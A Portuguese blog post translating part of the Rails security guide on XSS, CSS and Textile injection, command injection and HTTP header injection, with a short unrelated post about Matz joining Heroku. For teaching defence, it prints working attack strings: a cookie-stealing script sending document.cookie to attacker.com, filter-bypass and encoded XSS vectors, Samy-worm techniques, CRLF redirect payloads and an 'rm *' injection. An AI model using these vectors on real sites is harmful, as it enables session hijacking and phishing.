Durante a segunda metade de 2007 houveram 88 vulnerabilidades relatadas em navegadores Mozilla, 22 no Safari, 18 no IE e 12 no Opera. O Relatório Global de Ameaças de Segurança na Internet da Symantech também documentou 239 vulnerabilidades em plugins para navegadores nos últimos seis meses de 2007. O Mpack é um framework de ataque bastante ativo e atualizado, que explora essas vulnerabilidades. Para hackers criminosos, é muito atrativo explorar um vulnerabilidade de SQL-injection em um framework para aplicações web e inserir código malicioso em cada coluna das tabelas que aceite texto. Em abril de 2008 mais de 510.000 sites foram hackeados dessa forma, entre eles o do Governo Britânico, Nações Unidades e muito outros alvos importantes.

Uma forma de ponto de entrada relativamente nova, e incomum, são as propagandas por banners. No início de 2008, código malicioso apareceu em banners de anúncio em sites populares, como o MySpace e o Excite, segundo o Trend Micro.

8.3.2 Injeção de HTML/JavaScript

A linguagem mais comum para XSS é óbviamente a linguagem mais comum para scripting do lado cliente, o JavaScript, normalmente combinado com HTML. Filtrar dados fornecidos pelo usuário é essencial.

Aqui está a forma mais simples de verificar se existe XSS:

<script>alert(‘Hello’);</script>

Este código JavaScript irá aṕenas exibir uma caixa de alerta. Os próximos exemplos fazem exatamente a mesma coisa, porém em locais bastante incomuns.

<img src=javascript:alert(‘Hello’)>
<table background=”javascript:alert(‘Hello’)”>

8.3.2.1 Roubo de cookies

Estes exemplos não fazem mal algum até agora, então vamos ver como um atacante pode roubar o cookie do usuário (e assim sequestrar a sessão do usuário). Em JavaScript você pode usar a propriedade document.cookie para ler e escrever o cookie do documento. O JavaScript aplica a política de mesma origem, o que significa que um script de um domínio não pode acessar cookies de outro domínio. A propriedade document.cookie possui o cookie do servidor web de origem. Entretanto, você pode ler e escrever essa propriedade, se você embutir o código diretamente no documento HTML (como acontece no XSS). Injete isso em qualquer local na sua aplicação web para ver seu próprio cookie na página resultante:

<script>document.write(document.cookie);</script>

Para um atacante, é claro, isso não tem utilidade, já que a vítima verá seu próprio cookie. O exemplo a seguir tentará carregar uma imagem da URL http://www.attacker.com/ mais o cookie. Claro que essa URL não existe, logo o navegador não exibe nada. Mas o atacante pode verificar seus arquivos de log em seu servidor web para ver o cookie da vítima.

<script>document.write(‘<img src=”http://www.attacker.com/’ + document.cookie + ‘”>’);</script>

Os arquivos de log em www.attacker.com terão o seguinte conteúdo:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Você pode acabar com esses ataques (de forma óbvia) adicionando a flag httpOnly aos cookies, assim document.cookie não poderá ser lido através de JavaScript. Cookies do Http Only podem ser lidos pelo IE v6.SP1, Firefox v2.0.0.5 e Opera 9.5. O Safari ainda está analisando essa possibilidade e ignora essa opção. Mas outros browsers mais antigos (como o WebTV e IE 5.5 no Mac) podem na verdade fazer com que a página não carregue. Esteja avisado de que cookies ainda serão visíveis usando Ajax.

8.3.2.2 Defacement

Com defacement de páginas web um atacante pode fazer muitas coisas, por exemplo, apresentar informação falsa ou levar a vítima até o site do atacante para roubar seu cookie, credenciais de login outros dados importantes.

<iframe name=”StatPage” src=”http://58.xx.xxx.xxx” width=5 height=5 style=”display:none”></iframe>

Isso carrega HTML e/ou Javascript arbitrários de uma fonte externa e os insere como parte do site. Este iFrame foi retirado de um ataque real em sites Italianos legítimos usando o Framework de ataques Mpack. O Mpack tenta instalar software malicioso através de falhas de segurança no navegador – com muito sucesso, 50% dos ataques obtiveram sucesso.

Um ataque mais especializado pode sobrepor todo o website ou exibir um formulário de login, o qual se parece com o do site original, mas transmite o nome de usuário e o password para o site do atacante. Ou poderia usar CSS e/ou JavaScript para esconder um link legítimo na aplicação web e exibir um outro que redirecione o usuário para um site falso.

Ataques de injeção refletiva são aqueles onde o conteúdo não é armazenado para ser exibido para a vítima mais tarde, mas sim incluído na URL. Formulários de pesquisa geralmente falham em filtrar a string de pesquisa. O link a seguir apresentou uma página que dizia que “George Bush indicou um garoto de 9 anos para a presidência…”:

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1–>
<script src=http://www.securitylab.ru/test/sc.js></script><!–

8.3.2.3 Medidas preventivas

É muito importante filtrar dados de entrada maliciosos, mas também é importante filtrar os dados de saída de aplicações web.

Especialmente para XSS, é importante filtrar baseado em whitelists ao invés de blacklists. Filtros por whitelists informam os valores permitidos ao invés dos valores não permitidos. Blacklists nunca estão completas.

Imagine que uma blacklist remova o termo “script” dos dados fornecidos pelo usuário. Agora o atacante injeta “<scrscriptipt>”, e após o filtro ainda resta “<script>”. Versões iniciais do Rails usavam uma estratégia de blacklists para os métodos strip_tags(), strip_links() e sanitize(). esse tipo de injeção era possível:

strip_tags(“some<<b>script>alert(‘hello’)<</b>/script>”)

Isso retornava “some<script>alert(‘hello’)</script>”, o que faz com que o ataque funcione. É por isso que eu prefiro uma abordagem usando whitelists, usando o método sanitize() atualizado do Rails 2:

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, :tags => tags, :attributes => %w(href title))

Isso permite apenas as tags informadas e faz um bom trabalho, até mesmo contra todos os tipos de truques e tags mal formadas.

Como um segundo passo, é uma boa prática filtrar todos os dados de saída da aplicação, especialmente quando estiver re-exibindo dados fornecidos pelo usuário, o qual não foi filtrado quando informado (como no formulário de busca mostrado anteriormente). Utilize o método escapeHTML() (ou seu alias +h()) para substituir os caracteres HTML de entrada &,”,<,> por suas representações não interpretadas em HTML (&, “, < and >). Entretanto, pode facilmente acontecer do programador se esquecer de usar este método, logo _(highlight)recomenda-se utilizar o plugin SafeErberb/ _. O SafeErb irá te lembrar de filtrar strings de fontes externas.

8.3.2.4 Injeção de ofuscação e enconding

O tráfego de rede é principalmente baseado no limitado alfabeto ocidental, logo novos encondings de caracteres, como o Unicode, surgiram para transmitir dados em outros idiomas. Mas, isso também é uma ameaça para aplicações web, uma vez que código malicioso pode ser escondido em encodings diferentes, os quais o navegador pode ser capaz de processar mas a aplicação web não. Aqui está um vetor de ataque em codificação UTF-8:

<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97; &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>

Este exemplo exibe uma caixa de mensagem. Porém ele será reconhecido pelo filtro sanitize() mostrado acima. Uma grande ferramenta para obfuscar e codificar strings e assim “conhecer seu inimigo” , é o Hackvertor. O método sanitize() do Rails faz um bom trabalho em nos defender de de ataques de enconding.

8.3.3 Exemplos do underground

Para entender os ataques atuais feitos contra aplicações web, é melhor dar uma olhada em algun vetores de ataque do mundo real.

O trecho a seguir for retirado do worm para o Yahoo! Mail de Js.Yamanner@m Ele apareceu em 11 de junho de 2006 e foi o primeiro worm para interface de webmail.

<img src=’http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif’ target=””onload=”var http_request = false; var Email = ”; var IDList = ”; var CRumb = ”; function makeRequest(url, Func, Method,Param) { …

O worm explora uma falha no filtro de HTML/JavaScript do Yahoo!, o qual normalmente filtra todos os atributos target e onload das tags (porque ali pode haver JavaScript). Entretanto, o filtro é aplicado apenas uma vez, logo o atributo onload com o código do worm não é removido. Este é um bom exemplo do porque filtros por blacklists nunca estão completos e porque é difícil permitir HTML/Javascript em uma aplicação web.

Outro worm de prova de conceito é o Nduja, um worm de cross-domain para serviços de webmail italianos. Encontre mais detalhes de uma demonstração em vídeo no Website de Rosario Valotta. Ambos worms de webmail tem como objetivo coletar endereços de e-mail, algo com o qual hackers criminosos podem ganhar muito dinheiro.

Em dezembro de 2006, 34.000 nomes de usuário e passwords foram roubados em um ataque de phishing ao MySpace. A idéia do ataque foi criar uma página de profile com o nome “login_home_index_html”, logo a URL parecia bastante convincente. HTML e CSS especialmente criados foram utilizados para esconder o conteúdo original do MySpace e ao invés disso exibir seu próprio formulário de login.

O worm para MySpace Samy será discutido na seção sobre Injeção de CSS.

8.4 Injeção de CSS

— Injeção de CSS é na verdade injeção de JavaScript, porque alguns navegadores (IE, algumas versões do Safari e outros) permitem JavaScript no CSS. Pense duas vezes antes de permitir CSS customizado na sua aplicação web.

Injeção de CSS é melhor explicada por um worm bastante conhecido, o worm para MySpace Samy. Este worm envia uma solicitação de amigo automaticamente para Samy (o atacante) apenas visitando seu profile. Dentro de várias horas ele tinha mais de 1 milhão de solicitações de amigos, mas isso criou tráfego demais no MySpace, fazendo com que o site ficasse offline. A seguir temos uma explicação técnica do worm.

O MySpace bloqueia várias tags, entretanto permite CSS. Dessa forma, o autor do worm insere JavaScript dentro do CSS assim:

<div style=”background:url(‘javascript:alert(1)’)”>

O conteúdo vem no atributo style. Mas aspas não são permitidas no conteúdo, porque aspas simples e duplas já foram utilizadas. Porém o JavaScript possui uma função bastante útil chamada eval(), a qual executa qualquer string de código.

<div id=”mycode” expr=”alert(‘hah!’)” style=”background:url(‘javascript:eval(document.all.mycode.expr)’)”>

A função eval() é um pesadelo para filtros de input baseados em blacklists, pois permite que o atributo style esconda a palavra “innerHTML”.

alert(eval(‘document.body.inne’ + ‘rHTML’));

O próximo problema foi o MySpace filtrar a palavra “javascript”, logo o autor usou “java<NEWLINE>script” para contornar:

<div id=”mycode” expr=”alert(‘hah!’)” style=”background:url(‘java↵
script:eval(document.all.mycode.expr)’)”>

Outro problema que o autor do worm teve foram os tokens de segurança contra CSRF. Sem eles ele não poderia enviar uma solicitação de amigo através de um POST. Ele contornou o problema enviando um GET para a página antes de adicionar um novo usuário e analisando o resultado para conseguir o token CSRF.

No fim, ele conseguiu um worm de 4 KB, o qual ele injetou em sua página de profile.

A propriedade CSS moz-binding se mostrou outra forma de introduzir JavaScript em CSS em navegadores baseados no Gecko (Firefox, por exemplo).

8.4.1 Medidas preventivas Este exemplo, novamente, mostrou que um filtro por blacklists nunca está completo. Entretanto, uma vez que CSS customizado em aplicações web é um recurso bastante raro, eu não tenho conhecimento de um filtro para CSS que utilize whitelists. Se você quer permitir cores personalizadas ou imagens, você pode permitir que o usuário as escolha e então construir o CSS na aplicação web. Use o método sanitize() do Rails como um modelo para um filtro por whitelists, se você realmente precisar de um.

8.5 Injeção de textile

— Se você quer fornecer formatação de texto que não seja por HTML (devido à segurança), use uma linguagem de marcação que seja convertida para HTML do lado servidor. RedCloth é uma desas linguagens para Ruby, mas sem precauções, também é vulnerável a XSS.

Por exemplo, o RedCloth traduz test para <em>test<em&gt, o que faz com que o texto fique em itálico. Entretanto, até a versão 3.0.4, ainda é vulnerável a XSS. Pegue a versão mais nova 4 que removeu diversos bugs. Entretanto, até mesmo essa versão possui alguns bugs de segurança, logo as medidas preventivas ainda são aplicáveis. Aqui está um exemplo para a versão 3.0.4:

RedCloth.new(‘<script>alert(1)</script>’).to_html # => “<script>alert(1)</script>”

Utilize a opção :filter_html para remover HTML que não tenha sido criado pelo processador de Textile.

RedCloth.new(‘<script>alert(1)</script>’, [:filter_html]).to_html # => “alert(1)”

Entretanto, isso não filtra todo o HTML, algumas tags serão deixadas (foi projetado dessa forma), por exemplo <a>:

>> RedCloth.new(“<a href=’javascript:alert(1)’>hello</a>”, [:filter_html]).to_html

=> “<p><a href=”javascript:alert(1)”>hello</a></p>”

8.5.1 Medidas preventivas

Recomenda-se usar o RedCloth em conjunto com um filtro de dados de entrada que use whitelists, como descrito nas medidas preventivas contra XSS.

8.6 Injeção de Ajax

— As mesmas precauções tomadas para actions “normais” devem ser tomadas para actions Ajax. Existe, entretanto, pelo menos uma exceção: O output deve ser filtrado já no controller, caso a action não renderize uma view.

Se você usa o plugin in_place_editor, ou actions que retornam uma string, ao invés de uma view renderizada, você deve filtrar o valor retornado na action. Caso contrário se o valor de retorno contiver uma string XSS, o código malicioso será executado assim que for retornado para o navegador. Filtre estes dados usando o m=etodo h().

8.7 Injeção de RJS

— Não se esqueça de também filtrar em templates JavaScript (RJS).

A API de RJS gera blocos de código JavaScript baseado em código Ruby, permitindo assim que você manipule a página ou partes dela a partir do lado servidor. Se você permite que usuários forneçam dados de entrada em templates RJS, filtre-os usando escapejavascript() dentro de funções JavaScript, e em partes HTML usando h()_. De outro modo um atacante poderia executar JavaScript arbitrário.

8.8 Injeção de linha de comando

— Use parâmetros de linha de comando fornecidos pelo usuário com cuidado.

Se sua aplicação deve executar comandos no sistema operacional, existem diversos métodos em Ruby: exec(command), syscall(command), system(command) e command. Você terá que ser especialmeente cuidadoso com estas funções se o usuário puder informar todo o comando, ou parte deste. Isso ocorre porque na maioria dos terminais, você pode executar um segundo comando ao fim do primeiro, concatenando-os com um ponto-e-virgula (;) ou uma barra vertical (|).

Uma medida preventiva é utilizar o método system(command, parameters), o qual passa parâmetros de linha de comando de forma segura.

system(“/bin/echo”,”hello; rm *”) # prints “hello; rm *” and does not delete files

8.9 Injeção de cabeçalho

— Cabeçalhos HTTP são gerados dinâmicamente e sob certas circunstâncias pode-se injetar dados do usuário. Isso pode levar a reddirecionamentos falsos, XSS ou HTTP response splitting.

Cabeçalhos de requests HTTP possuem campos para Referer, User-Agent (software do lado cliente) e Cookie, entre outros. Cabeçalhos de responses por exemplo possuem um código de status, Coolkie e Location (alvo de redirecionamento HTTP). Todos eles são fornecidos pelo usuário e podem ser manipulados com mais ou menos esforço. Lembre-se de filtrar estes campos de cabeçalho também. Por exemplo quando você exibe o user agent em uma área administrativa.

Além disso, é importante saber o que você está fazendo quando estiver construindo cabeçalhos de response parcialmente baseados em dados fornecidos pelo usuário. Por exemplo você quer redirecionar o usuário de volta à uma página específica. Para fazer isso você introduz um campo “referer” em um formulário para fazer redirecionamenteo para o endereço fornecido:

redirect_to params[:referer]

O que acontece é que o Rails coloca a string no campo de cabeçalho Location e envia o código de status 302 (redirect) para o navegador. A primeira coisa que um usuário malicioso faria é isso:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

E devido a um bug no (Ruby e no) Rails existente até a versão 2.1.2 (excluindo esta), um hacker pode injetar campos de cabeçalho arbitrários; por exemplo, assim:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

Perceba que “%0d%0a” é o valor codificado para URL de “\r\n” o qual é um carriage return e nova linha (CRLF) em Ruby. Assim o cabeçalho HTTP resultante para o segundo exemplo seria o seguinte porque o segundo campo de cabeçalho Location sobrescreve o primeiro.

HTTP/1.1 302 Moved Temporarily (…) Location: http://www.malicious.tld

Vetores de ataque para injeção de cabeçalho são baseados na injeção de caracteres de CRLF no campo do cabeçalho. E o que um atacante poderia fazer com um redirecionamento falso? Ele poderia redirecionar para um site de phishing que se pareça o mesmo que o seu, mas que solicita que o usuário faça login novamente (e envia as credenciais de login para o atacante). Ou ele poderia instalar software malicioso neste site através de falhas de segurança no navegador. O Rails 2.1.2 filtra estes caracteres para o campo Location no método redirectto . Certifique-se de fazer isso você mesmo quando você construir outros campos de cabeçalho com dados fornecidos pelo usuário._

8.9.1 Response Splitting

Se injeção de cabeçalho foi possível, Response Splitting também deve ser. No HTTP, o bloco do cabeçalho é seguido por dois CRLFs e os dados (normalmente HTML). A idéia do Response Splitting é injetar dois CRLFs em um campo do cabeçalho, seguidos por um outro response com HTML malicioso. O response será:

HTTP/1.1 302 Found [First standard 302 response]

Date: Tue, 12 Apr 2005 22:09:07 GMT

Location:
Content-Type: text/html

Content-Type: text/html

HTTP/1.1 200 OK [Second New response created by attacker begins]

Content-Type: text/html

&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is

Keep-Alive: timeout=15, max=100 shown as the redirected page]

Connection: Keep-Alive

Transfer-Encoding: chunked

Sob certas circunstâncias isso pode exibir o HTML malicioso para a vítima. Entretanto, isso parece funcionar apenas com conexões Keep-Alive (e muitos navegadores estão usando uma conexão por request. Mas você não pode confiar nisso. De qualquer forma esse é um bug sério e você deve atualizar seu Rails para a versão 2.1.2 ou superior para eliminar riscos de injeção de cabeçalho (e assim response splitting).

9 Recursos adicionais

O cenário de segurança muda e é importante nos mantermos atualizados, porque perder uma nova vulnerabilidade pode ser catastrófico. Você pode encontrar recursos adicionais sobre segurança (no Rails) aqui:

  • Assine a “lista de discussão mailing list sobre segurança no Rails.

10 Changelog

Lighthouse ticket

  • November 1, 2008: First approved version by Heiko Webers

Fonte: RailsGuide

Tags | , , , , , , , , , ,

28

jul
2011

Sem Comentários

Em Blog

Por Allison

Matz (criador do Ruby) junta-se à Heroku

Em 28, jul 2011 | Sem Comentários | Em Blog | Por Allison

A Heroku, empresa que fornece uma solução popular de cloud computing para aplicações Ruby on Rails e Node.js, anunciou em 12 de julho a contratação de Yukihiro Matsumoto, o criador da linguagem Ruby, como seu novo arquiteto-chefe. Matz, como é conhecido popularmente, foi contratado para continuar seu trabalho na equipe Ruby Core e para reduzir possíveis limitações com aplicações Ruby rodando na nuvem. Além disso, existe a possibilidade de que diversos outros membros da equipe do Ruby Core sejam também contratados pelo Heroku para exercerem funções semelhantes.

Em uma entrevista a um site japonês, Matz comentou que sua missão será continuar melhorando a qualidade e mantendo funcional a linguagem Ruby. Também comentou que a segurança de um emprego dedicado ao desenvolvimento da linguagem e o feedback da Heroku, com seus usuários experientes da linguagem Ruby, podem acelerar o progresso do desenvolvimento do Ruby. Embora Matz tenha recebido o cargo de arquiteto-chefe do Heroku, não deverá se envolver em decisões de negócio e manter seu bom relacionamento com outras empresas que apoiam o código aberto, como por exemplo a Engine Yard.

Em nota oficial da Heroku foi anunciado que a empresa “sente-se honrada em retribuir com a comunidade e com Matz”, provendo recursos para que ele e sua equipe continuem o desenvolvimento do Ruby. Embora a Heroku esteja sediada em São Francisco, EUA, Matz inicialmente trabalhará remotamente de Matsue, no Japão, onde mora com sua esposa e quatro filhos.

Fonte: InfoQ

Tags | , , , , ,